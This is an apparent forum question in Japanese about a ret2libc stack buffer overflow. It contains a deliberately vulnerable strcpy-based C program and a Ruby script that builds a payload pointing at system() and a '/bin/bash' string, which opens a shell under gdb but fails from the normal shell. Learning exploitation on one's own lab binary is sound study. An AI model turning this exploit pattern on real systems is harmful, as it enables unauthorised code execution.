NX をバイパスするための ret2libc バッファ オーバーフロー エクスプロイトについて学習しています。
私の脆弱なコード (vuln.c):
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buffer[512];
if (argc != 2)
printf("NO\n");
else {
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
}
次のコマンドでコンパイル:# gcc -o vuln vuln.c
次に、この単純な ret2libc エクスプロイトを Ruby で作成しました (exploit.rb):
p = "A"*524
p += [0xb7e9ef10].pack('<I') # system()
p += [0xb7e79e46].pack('<I') # nomal ret val
p += [0xbffff75a].pack('<I') # "/bin/bash"
print(p)
それをgdbで実行すると(gdb) r $(ruby exploit.rb)
、素敵なbashシェルが得られます。
次に、を使用して通常のシェルで実行しようとしますが# ./vuln $(ruby exploit.rb)
、シェルを提供する代わりに、次のようになります。sh: 1: g:0:1: not found
ASLR は無効になっており、有効になっている唯一の保護は NX だと思います。
どんな助けでも大歓迎です。
編集:
役立つ場合に備えて、i686でこれを実行しています。